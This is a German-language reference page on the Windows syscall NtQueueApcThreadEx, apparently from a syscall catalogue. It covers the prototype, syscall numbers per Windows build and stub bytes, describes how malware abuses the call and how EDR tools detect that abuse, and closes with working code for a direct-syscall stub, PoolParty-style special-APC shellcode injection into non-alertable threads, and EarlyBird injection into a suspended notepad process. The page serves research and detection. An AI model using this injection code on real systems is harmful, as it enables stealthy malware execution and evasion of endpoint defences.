> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThreadEx

Reiht einen User-APC für einen Thread mit optionalem Reserve-Objekt oder Special-User-APC-Flag zur erzwungenen Zustellung ein.

Prototyp

NTSTATUS NtQueueApcThreadEx(
  HANDLE            ThreadHandle,
  HANDLE            UserApcReserveHandle,
  PKNORMAL_ROUTINE  ApcRoutine,
  PVOID             ApcArgument1,
  PVOID             ApcArgument2,
  PVOID             ApcArgument3
);

Argumente

NameTypeDirDescription
ThreadHandleHANDLEinHandle auf den Zielthread mit THREAD_SET_CONTEXT-Zugriff.
UserApcReserveHandleHANDLEinOptionales User-APC-Reserve-Objekt (NtAllocateReserveObject). QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (0x1) als HANDLE übergeben für erzwungenes Feuern (Win10 1809+).
ApcRoutinePKNORMAL_ROUTINEinUsermode-Routine, die bei APC-Zustellung ausgeführt wird.
ApcArgument1PVOIDinErstes Argument für ApcRoutine. Bei Special-User-APCs der empfangende CONTEXT*-Zeiger.
ApcArgument2PVOIDinZweites Argument für ApcRoutine.
ApcArgument3PVOIDinDrittes Argument für ApcRoutine.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x14Bwin10-1507
Win10 16070x152win10-1607
Win10 17030x158win10-1703
Win10 17090x15Bwin10-1709
Win10 18030x15Dwin10-1803
Win10 18090x15Ewin10-1809
Win10 19030x15Fwin10-1903
Win10 19090x15Fwin10-1909
Win10 20040x165win10-2004
Win10 20H20x165win10-20h2
Win10 21H10x165win10-21h1
Win10 21H20x166win10-21h2
Win10 22H20x166win10-22h2
Win11 21H20x16Dwin11-21h2
Win11 22H20x170win11-22h2
Win11 23H20x170win11-23h2
Win11 24H20x172win11-24h2
Server 20160x152winserver-2016
Server 20190x15Ewinserver-2019
Server 20220x16Bwinserver-2022
Server 20250x172winserver-2025

Kernel-Modul

ntoskrnl.exeNtQueueApcThreadEx

Verwandte APIs

QueueUserAPCQueueUserAPC2NtQueueApcThreadNtQueueApcThreadEx2NtAllocateReserveObjectNtTestAlert

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 72 01 00 00      mov eax, 0x172
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Erweiterung von `NtQueueApcThread`, eingeführt für das User-APC-Reserve-Objekt-Muster (Pool-Allokation pro Enqueue vermeiden) und seit Windows 10 1809 für **Special User APCs** (`QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1`). Der Trick: die Konstante `0x1` *als* `UserApcReserveHandle` zu übergeben, schaltet den Kernel in einen Pfad, der den APC unabhängig vom Alertable-Status des Zielthreads zustellt — der Kernel hijackt den Usermode-`CONTEXT` des Threads und nimmt ihn in `ApcRoutine` wieder auf, wobei `ApcArgument1` auf eine `CONTEXT`-Struktur mit dem originalen Registerzustand zeigt. Die SSN driftet stark zwischen Builds; dynamisch auflösen.

Häufige Malware-Nutzung

Drei nennenswerte Missbräuche. (1) **PoolParty** (SafeBreach 2023) nutzt Special User APCs, um in Threads zu injizieren, die *niemals* alertable werden — moderne Hintergrund-Worker-Threads in Browsern und EDR-Agenten — und besiegt damit die klassische „auf einen alertable Wait zielen"-Verteidigung vollständig. (2) EarlyBird ist weiterhin tragfähig, die Ex-Form ist aber bevorzugt, weil der Zielthread keinen alertable Wait erreichen muss. (3) Cobalt Strike 4.x und Brute Ratel C4 nutzen die Special-APC-Variante für Fork&Run-artige Ausführung, die kein `CreateThread` im Opfer mehr braucht. T1055.004.

Erkennungs­möglichkeiten

Special User APCs erscheinen als ETW-Threat-Intelligence-`EtwTiLogQueueApcThread`-Events mit gesetztem Special-User-APC-Flag — moderne EDRs (CrowdStrike, Defender for Endpoint, SentinelOne) parsen das. Die CONTEXT-Hijack-Zustellung bedeutet, dass das RIP des Zielthreads abrupt auf eine modulfreie Adresse mit CONTEXT-Zeiger auf dem Stack springt — Stack-Walk und RIP-vs-VAD-Checks bei EtwTi-Events erfassen das. Ein prozessübergreifender `NtQueueApcThreadEx` aus einem Nicht-Debugger-Parent mit gesetztem Special-User-APC-Flag ist in der Praxis fast immer bösartig.

Direkte Syscall-Beispiele

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtQueueApcThreadEx (SSN 0x172 on Win11 24H2)
NtQueueApcThreadEx PROC
    mov  r10, rcx              ; syscall convention
    mov  eax, 0172h            ; SSN — drifts; resolve dynamically for portability
    syscall
    ret
NtQueueApcThreadEx ENDP

cSpecial user APC (PoolParty-style)

// Inject into a non-alertable target thread via QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC.
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC ((HANDLE)0x1)

// hThread points at a worker thread that will never call SleepEx — classic EDR scrub thread.
// remote_shellcode was already written + RX-protected in the target process.
NTSTATUS st = NtQueueApcThreadEx(
    hThread,
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,    // forces delivery via context hijack
    (PKNORMAL_ROUTINE)remote_shellcode,
    NULL, NULL, NULL);
if (!NT_SUCCESS(st)) return st;
// Kernel hijacks the thread's CONTEXT and resumes it inside remote_shellcode.

cEarly Bird APC injection with Ex form

// Spawn target suspended; queue Ex-APC; resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// Ex form lets us pick reserve object or special-APC; for EarlyBird either works.
NtQueueApcThreadEx(pi.hThread, NULL, (PKNORMAL_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

MITRE ATT&CK-Mappings

Last verified: 2026-05-20